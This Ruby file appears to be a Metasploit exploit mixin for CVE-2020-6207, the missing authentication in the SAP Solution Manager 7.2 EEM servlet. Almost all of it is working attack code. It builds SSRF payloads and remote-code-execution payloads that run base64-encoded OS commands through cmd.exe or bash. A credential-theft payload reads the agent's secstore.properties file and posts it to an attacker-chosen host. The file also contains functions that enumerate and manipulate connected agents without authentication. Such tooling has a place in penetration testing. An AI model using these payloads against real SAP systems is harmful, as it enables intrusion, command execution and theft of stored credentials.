# -*- coding: binary -*-

module Msf
  # This module provides a way of interacting with vulnerable (CVE-2020-6207 - missing authentication checks in SAP EEM servlet) SAP Solution Manager version 7.2
  module Exploit::Remote::HTTP::SapSolManEemMissAuth
    include Msf::Exploit::Remote::HttpClient

    PAYLOAD_XML = {
      prefix: '',
      suffix: "\t</TransactionStep>\r\n</Script>\r\n"
    }.freeze

    PAYLOAD_XML[:prefix] << '<Script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
    PAYLOAD_XML[:prefix] << "editorversion=\"7.10.1.0.2010#{Rex::Text.rand_text_numeric(10)}\" "
    PAYLOAD_XML[:prefix] << "exetype=\"xml\" hrtimestamp=\"#{Time.now.utc}\" "
    PAYLOAD_XML[:prefix] << "name=\"#{Rex::Text.rand_text_alphanumeric(12)}\" "
    PAYLOAD_XML[:prefix] << "timestamp=\"#{(Time.now.to_f * 1000).to_i}\" "
    PAYLOAD_XML[:prefix] << 'type="http" version="1.1" '
    PAYLOAD_XML[:prefix] << "xsi:noNamespaceSchemaLocation=\"http://www.sap.com/solman/eem/script1.1\">\r\n"
    PAYLOAD_XML[:prefix] << "\t<TransactionStep id=\"1\" name=\"#{Rex::Text.rand_text_alpha(12)}\">\r\n"

    # Make SSRF payload xml string
    def make_ssrf_payload(method, uri)
      ssrf_payload = Nokogiri::XML(<<-SSRF_PAYLOAD, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS)
      #{PAYLOAD_XML[:prefix]}
      <Message activated="true" id="2" method="#{method}" name="index" type="ServerRequest" url="#{uri}" version="HTTP/1.1"></Message>
      #{PAYLOAD_XML[:suffix]}
      SSRF_PAYLOAD
      ssrf_payload.to_s
    end

    # Make RCE payload xml string
    def make_rce_payload(os_command)
      command = "var d = Packages.java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(os_command)}');"
      command << 'var c = new Packages.java.lang.String(d);'
      command << 'var b = new Packages.java.lang.ProcessBuilder();'
      command << 'var o = Packages.java.lang.System.getProperty("os.name").toLowerCase();'
      command << 'if (o.indexOf("win") >= 0) {b.command("cmd.exe","/c",c).start().waitFor();} '
      command << 'else {b.command("bash","-c",c).start().waitFor();}'
      rce_payload = Nokogiri::XML(<<-RCE_PAYLOAD, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS)
      #{PAYLOAD_XML[:prefix]}
      <Message activated="true" id="2" method="AssignJS" name="AssignJS" type="Command" url="">
        <Param name="expression" value=#{command.encode(xml: :attr)} />
        <Param name="variable" value="test" />
      </Message>
      #{PAYLOAD_XML[:suffix]}
      RCE_PAYLOAD
      rce_payload.to_s
    end

    # Make payload for steal credentials for SolMan server from agent
    def make_steal_credentials_payload(instance, host, port, url)
      command = "var u = new Packages.java.net.URL(\"http://#{host}:#{port}#{url}\");"
      command << 'var o = Packages.java.lang.System.getProperty("os.name").toLowerCase();'
      command << 'if (o.indexOf("win") >= 0) '
      command << "{var p = Packages.java.nio.file.Paths.get(\"C:\\\\usr\\\\sap\\\\DAA\\\\#{instance}\\\\SMDAgent\\\\configuration\\\\secstore.properties\");} "
      command << "else {var p = Packages.java.nio.file.Paths.get(\"/usr/sap/DAA/#{instance}/SMDAgent/configuration/secstore.properties\");} "
      command << 'var f = Packages.java.nio.file.Files.readAllBytes(p);var c = u.openConnection();c.setDoOutput(true);'
      command << 'c.setRequestProperty("Content-Type","application/octet-stream");'
      command << 'c.setRequestProperty("X-File-Name",p.toAbsolutePath().toString());'
      command << 'var w = new Packages.java.io.DataOutputStream(c.getOutputStream());w.write(f);'
      command << 'try {c.getInputStream();} finally {c.disconnect();}'
      creds_payload = Nokogiri::XML(<<-CREDS_PAYLOAD, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS)
      #{PAYLOAD_XML[:prefix]}
      <Message activated="true" id="2" method="AssignJS" name="AssignJS" type="Command" url="">
        <Param name="expression" value=#{command.encode(xml: :attr)} />
        <Param name="variable" value="test" />
      </Message>
      #{PAYLOAD_XML[:suffix]}
      CREDS_PAYLOAD
      creds_payload.to_s
    end

    # Make SOAP body for SSRF or RCE payload xml string
    def make_soap_body(agent_name, script_name, payload)
      soap_body = Nokogiri::XML(<<-SOAP_BODY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <adm:uploadResource>
        <agentName>#{agent_name.encode(xml: :text)}</agentName>
        <fileInfos>
          <content>#{Base64.strict_encode64(payload)}</content>
          <fileName>script.http.xml</fileName>
          <scenarioName>#{script_name.encode(xml: :text)}</scenarioName>
          <scope>Script</scope>
          <scriptName>#{script_name.encode(xml: :text)}</scriptName>
        </fileInfos>
      </adm:uploadResource>
      SOAP_BODY
      soap_body.to_s
    end

    # Check response from SAP SolMan server
    def check_response(response)
      if response.nil?
        fail_with(Msf::Module::Failure::Unreachable, 'The server not responding.')
      elsif response.code != 200
        fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response status code not in the expected status code: 200. The target is likely patched.')
      elsif !response.headers['Content-Type'].strip.start_with?('text/xml')
        fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body not in the expected content type: text/xml. The target is likely patched.')
      elsif Nokogiri::XML(response.body).errors.any?
        fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body not in the expected format. The target is likely patched.')
      elsif !response.body.match?(/<soap-env:body>/i)
        fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body does not contain a SOAP body. The target is likely patched.')
      elsif response.body.match?(/<soap-env:fault>/i)
        fail_with(Msf::Module::Failure::UnexpectedReply, 'The server sent a response, but the response body contains errors.')
      elsif response.body.match?(/EemException: invalid agent name/i)
        fail_with(Msf::Module::Failure::NotFound, 'The server sent a response, but agent was not found.')
      else
        response
      end
    end

    # Send SOAP request to SAP SolMan server
    def send_soap_request(soap_body)

      data = Nokogiri::XML(<<-DATA, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:adm="http://sap.com/smd/eem/admin/">
        <soapenv:Header/>
        <soapenv:Body>#{soap_body}</soapenv:Body>
      </soapenv:Envelope>
      DATA

      response = send_request_cgi({
        'uri' => normalize_uri(target_uri.path),
        'method' => 'POST',
        'data' => data,
        'ctype' => 'text/xml; charset=UTF-8',
        'headers' => { 'SOAPAction' => '""' }
      })
      check_response(response)
    end

    # Enable EEM in agent
    def enable_eem(agent_name)
      soap_body = Nokogiri::XML(<<-SOAP_BODY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <adm:setAgeletProperties>
        <agentName>#{agent_name.encode(xml: :text)}</agentName>
        <propertyInfos>
          <flags>3</flags>
          <key>eem.enable</key>
          <value>True</value>
        </propertyInfos>
      </adm:setAgeletProperties>
      SOAP_BODY
      send_soap_request(soap_body.to_s)
    end

    # Set action (stopScript, deleteScript) script in agent
    def script_action(agent_name, script_name, script_action)
      soap_body = Nokogiri::XML(<<-SOAP_BODY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
      <adm:#{script_action}>
        <agentName>#{agent_name.encode(xml: :text)}</agentName>
        <scriptName>#{script_name.encode(xml: :text)}</scriptName>
      </adm:#{script_action}>
      SOAP_BODY
      send_soap_request(soap_body.to_s)
    end

    # Stop script in agent
    def stop_script_in_agent(agent_name, script_name)
      script_action(agent_name, script_name, 'stopScript')
    end

    # Delete script in agent
    def delete_script_in_agent(agent_name, script_name)
      script_action(agent_name, script_name, 'deleteScript')
    end

    # Get connected agents info
    def make_agents_array
      agents = []
      all_agent_info = send_soap_request('<adm:getAllAgentInfo />')
      response_xml = all_agent_info.get_xml_document
      response_xml.css('return').each do |agent|
        os_name = ''
        java_version = ''
        agent.css('systemProperties').each do |system_properties|
          case system_properties.at_xpath('key').content
          when 'os.name'
            os_name = system_properties.at_xpath('value').content
          when 'java.version'
            java_version = system_properties.at_xpath('value').content
          end
        end
        agents.push({
          serverName: agent.at_xpath('serverName').content,
          hostName: agent.at_xpath('hostName').content,
          instanceName: agent.at_xpath('instanceName').content,
          osName: os_name,
          javaVersion: java_version
        })
      end
      agents
    end

    # Check agent in connected agents list
    def check_agent(agent_name)
      vprint_status('Getting a list of connected agents ...')
      agents = make_agents_array
      if agents.empty?
        fail_with(Msf::Module::Failure::NoTarget, 'Solution Manager server is vulnerable but no agents are connected!')
      elsif agent_name.nil?
        fail_with(Msf::Module::Failure::BadConfig, "Please set agent: `set AGENT #{agents[0]['serverName']}`")
      end
      agents.each do |agent|
        if agent_name == agent[:serverName]
          return agent
        end
      end
      fail_with(Msf::Module::Failure::NotFound, "Not found agent: #{agent_name} in connected agents:\n#{pretty_agents_table(agents)}")
    end

    # Pretty print connected agents array
    def pretty_agents_table(agents)
      make_pretty_table = Rex::Text::Table.new(
        'Header' => 'Connected Agents List',
        'Indent' => 1,
        'SortIndex' => -1,
        'Columns' => ['Server Name', 'Host Name', 'Instance Name', 'OS Name', 'Java Version']
      )
      agents.each do |agent|
        row = [agent[:serverName], agent[:hostName], agent[:instanceName], agent[:osName], agent[:javaVersion]]
        make_pretty_table << row
      end
      make_pretty_table
    end

    private :script_action
  end
end
